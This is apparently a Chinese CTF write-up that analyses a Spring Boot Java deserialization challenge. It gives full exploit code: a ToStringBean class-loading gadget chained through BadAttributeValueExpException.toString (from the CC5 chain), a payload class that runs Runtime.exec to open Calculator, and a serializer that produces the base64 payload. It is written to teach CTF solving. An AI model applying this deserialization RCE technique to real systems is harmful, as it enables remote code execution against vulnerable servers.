一道JAVA反序列化题目分析

前言

​ 感觉题目分析着还可以,就记录一下,顺便水一篇笔记。

题目分析

启动环境

​ 下载好jar包之后,先运行了下,发现是一个spring项目,根据提示访问本地8888端口。

OJ9alD.png

访问网站

OJ9fXQ.png

获取源码

​ 使用JD-GUI查看这个jar包的源码。使用JD-GUI打开即可看到源码,如下

OJ9Tkq.png

在本地mark下,不过并没有保持1比1还原,只是做个复现环境

OJ9HhV.png

启动本地项目

OJ9L1U.png

源码分析

首先看IndexController类,存在两个路由。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
		@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

第一个也就是我们访问启动好的环境之后的默认路由/,返回index.重要的是readobject,方法名为unser,需要接收一个名为data的参数。接收后通过Tools.base64Decode(data);进行base64解码操作。然后通过ByteArrayInputStream读取字节流中的数据,ObjectInputStream将读取到的字节恢复为对象,想必都不陌生吧,只不过没有了ObjectInputStream序列化转换的字节流数据了,这里就是java序列化和反序列化的标准利用方式。接着往下看。

1
2
3
4
5
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";

这几句代码先读取一个字符也就是UTF,在读取数字赋值给year,在通过一个判断确认name是否是gadgets,year是否是2021。满足之后去调用readObject从而导致反序列化。然后去看别的代码,在ToStringBean.java中看到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
		public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.example.demo.tools.ToStringBean toStringBean = new com.example.demo.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}

可以看到继承了ClassLoader类并且继承了Serializable接口。下面的代码中可以看到实例化了一个对象toStringBean然后调用了defineClass。defineCLass可从字节码中动态加载一个类,加载完成后进行实例化。ClassByte为private 属性,所以可以通过反射来进行赋值。赋值的时候需要注意的是,需要编写利用类如下

1
2
3
4
5
6
7
8
9
10
11
		package com.example.demo;
import java.io.IOException;
public class exPayload {
static {
try{
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

编译一下代码,然后找到这个类的绝对路径并复制然后通过读取来利用这个类。反射赋值的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
		package com.example.demo;
import com.example.demo.tools.ToStringBean;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ExpDemo {
public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException {
//反射给byte赋值
ToStringBean toStringBean = new ToStringBean();
Field classByteFiled = toStringBean.getClass().getDeclaredField("ClassByte");
classByteFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/ly0n/CTF/WEB/DongHua/ctf/target/classes/com/example/demo/exPayload.class"));
//编写利用类
classByteFiled.set(toStringBean,bytes);

}
}

紧接着就是去找相关的调用toString的函数和方法。这里我的想法就是看这些调用了toString的方法,然后去看是否存在可以利用的。不过很多,一个一个看根本不现实。

OJCNEn.png

朋友提示了下CC链,就去百度了看下,发现在CC5中BadAttributeValueExpException是存在调用toString的。

OJCwCV.png

也是需要通过反射来对val进行赋值的。通过这两处分析这道题目的利用链就很清晰了

1
2
3
----->badAttributeValueExpException.toString
---------->ToStringBean.toString
-------------------->IndexController.unser

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.example.demo;
import com.example.demo.tools.ToStringBean;
import com.example.demo.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ExpDemo {
public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException {
//反射给byte赋值
ToStringBean toStringBean = new ToStringBean();
Field classByteFiled = toStringBean.getClass().getDeclaredField("ClassByte");
classByteFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/ly0n/CTF/WEB/DongHua/ctf/target/classes/com/example/demo/exPayload.class"));
//编写利用类
classByteFiled.set(toStringBean,bytes);
//反射给val赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val");
valFiled.setAccessible(true);
valFiled.set(badAttributeValueExpException,toStringBean);

//将name=gadgets,year=2021和object=badAttributeValueExpException写入
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
//转换为字节码并base64编码
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = Tools.base64Encode(bytes1);
System.out.println(s);


}
}

成功利用

OJCDvF.png